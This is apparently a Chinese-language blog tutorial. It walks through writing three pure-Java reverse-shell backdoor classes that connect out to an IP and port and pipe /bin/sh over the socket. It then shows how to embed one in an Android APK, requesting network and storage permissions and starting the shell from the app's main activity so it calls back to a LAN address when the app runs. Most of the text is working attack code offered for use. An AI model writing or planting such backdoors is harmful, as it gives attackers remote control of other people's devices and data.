遇到情景是可以在android上安装任意apk,执行apk后有个反弹shell的效果。一般来说直接用msf就可以生成android后门,但不知为何在目标设备上无法正常使用,故决定自己编写一个简单的apk以完成反弹shell。最终实现三个纯JAVA版的shell_reverse_tcp,当然塞进apk也好使。开始自己完成了一个无法完全交互的shell,类似一句话木马那种伪tty。因为思路也是web的思路,执行->取结果字符串->发送结果字符串。后来参考msf的实现,人家是使用线程直接转发了启动shell的输入输出流到反弹的socket的输入输出流,不仅可以获得一个完全交互的shell,还省去了byte流转字符串的操作。这个其实就是和shellcode的思路一样了,类似dup socket的文件描述符到程序的输入输出流中。二者最重要的区别就是执行顺序上,因为自己对线程不熟,没有想到转发的过程其实是持续的,是伴随着我们对后门的操作的。也是因为自己的编程水平还停留面向过程的1234,不容易想到多个实体一起执行的情景,想的总是执行完第一步,然后第二步…最后找到一个单线程死循环获得完全交互shell的写法,通过判断输入流是否可用来进入转发,是目前看到的最短实现。
非真正交互
都是static方法,故使用的时候不需要new一个新的对象。因为是web思路,执行命令完成,读结果字符串,发结果字符串。所以执行流就是最好想的顺序执行,一步步往下走就行了,类似一句话:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.charset.Charset;
public class Backdoor {
public static String read_stream(InputStream in){
try {
StringBuilder sResultBuilder = new StringBuilder("");
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(in, Charset.defaultCharset()));
String line = bufferedReader.readLine();
if (line == null) return "";
sResultBuilder.append(line);
while (true) {
line = bufferedReader.readLine();
if (line == null) break;
else sResultBuilder.append('\n'+line);
}
return String.valueOf(sResultBuilder);
}catch (IOException e) {
e.printStackTrace();
}
return "";
}
public static String exec_cmd(String cmd){
try {
cmd = cmd.replaceAll("\n"," ") + " 2>&1 ;echo \n";
String[] str = {"/bin/sh","-c",cmd};
Process p = Runtime.getRuntime().exec(str);
p.waitFor();
return read_stream(p.getInputStream());
}catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
return "";
}
public static void reverse_tcp(String ip,int port){
try {
Socket socket = new Socket(ip,port);
InputStream in = socket.getInputStream();
OutputStream out = socket.getOutputStream();
out.write("[+] getshell\n".getBytes());
byte[] b = new byte[4096];
while(true){
out.write("> ".getBytes());
out.write(exec_cmd(new String(b,0,in.read(b))).getBytes());
}
} catch (IOException e) {
e.printStackTrace();
}catch (StringIndexOutOfBoundsException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
reverse_tcp("127.0.0.1",8888);
}
}
测试用法,本机监听8888端口,然后执行:
➜ javac Backdoor.java && java Backdoor
真正交互
- metasploit-payloads/java/javapayload/src/main/java/javapayload/stage/Shell.java
- metasploit-payloads/java/javapayload/src/main/java/javapayload/stage/StreamForwarder.java
首先想到JAVA自己有没有类似流转发的功能呢?搜索到java io 流重定向标准输入和输出,即JAVA的标准输入输出错误流是可以重定向的,但是没有找到可以重定向任意流的函数。故想到能不能重定向进程的输入输出流之后然后直接execve系统调用把整个进程换成/bin/sh
,就完全的shellcode反弹思路。但是看起来java好像不能直接执行系统调用,网上给出的解决办法是写JNI。
所以还是按照msf思路,自己动手写流的转发。看完思路自己默写的时候可犯难了,为啥没有输出呢?调试发现程序卡在了第一个转发那,恍然大悟,人家是转发工作是用线程完成的。所以这种思路就是不是顺序执行啦,而是有几个线程在不停的将反弹的socket的输入输出转发到启动的shell进程的输入输出上,所以这还不太像shellcode,dup文件描述符那么一劳永逸…为了避免拆分文件,最终使用JAVA的内部类完成线程的编写:
后来看:如何利用Java编写反弹工具?,其实整个类都继承自Thread就可以了…
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Backdoor {
class forward extends Thread{
private InputStream src;
private OutputStream dst;
public forward(InputStream src,OutputStream dst){
this.src = src; this.dst = dst;
}
public void run(){
try {
final byte[] buf = new byte[4096];
int length;
while ((length = this.src.read(buf)) != -1) {
if (this.dst != null) {
this.dst.write(buf, 0, length);
if (this.src.available() == 0) {
this.dst.flush();
}
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
public void reverse_tcp(String ip,int port){
try {
Socket socket = new Socket(ip,port);
InputStream in = socket.getInputStream();
OutputStream out = socket.getOutputStream();
out.write("[+] getshell\n".getBytes());
String[] str = {"/bin/sh","-i"};
Process p = Runtime.getRuntime().exec(str);
new forward(in,p.getOutputStream()).start();
new forward(p.getInputStream(),out).start();
new forward(p.getErrorStream(),out).start();
p.waitFor();
} catch (IOException e) {
e.printStackTrace();
}catch (StringIndexOutOfBoundsException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
new Backdoor().reverse_tcp("127.0.0.1",8888);
}
}
测试用法,本机监听8888端口,然后执行:
➜ javac Backdoor.java && java Backdoor
最短实现
后来又搜到:使用Java反弹shell,因为我不知道流可以判空,所以之前在写类似的死循环的时候就卡死在read里了,所以直接使用一个线程也是可以完成工作的:
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Backdoor {
public static void reverse_tcp(String ip,int port){
try {
String[] str = {"/bin/sh","-i"};
Process p = Runtime.getRuntime().exec(str);
InputStream pin = p.getInputStream();
InputStream perr = p.getErrorStream();
OutputStream pout = p.getOutputStream();
Socket socket = new Socket(ip,port);
InputStream sin = socket.getInputStream();
OutputStream sout = socket.getOutputStream();
sout.write("[+] getshell\n".getBytes());
while(true){
while(pin.available()>0) sout.write(pin.read());
while(perr.available()>0) sout.write(perr.read());
while(sin.available()>0) pout.write(sin.read());
sout.flush();
pout.flush();
}
} catch (IOException e) {
e.printStackTrace();
}catch (StringIndexOutOfBoundsException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
reverse_tcp("127.0.0.1",8888);
}
}
测试用法,本机监听8888端口,然后执行:
➜ javac Backdoor.java && java Backdoor
android中使用
首先给APK加网络权限,千万别忘了:
<uses-permission android:name="android.permission.INTERNET"/>
如果想让反弹的shell有权限干更多的事则需要多加权限,比如读写SD卡的权限:
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
然后将Backdoor这个类拷贝进工程中,并把/bin/sh
换成/system/bin/sh
,因为Andoid是禁止在主线程中使用网络操作,所以之后在程序目标处起一个新的线程即可:
public class MainActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
new Thread(runnable).start();
}
Runnable runnable = new Runnable(){
@Override
public void run() {
new Backdoor().reverse_tcp("192.168.1.152",8888);
//Backdoor.reverse_tcp("192.168.1.152",8888);
}
};
编译,安装,运行,即可反弹shell。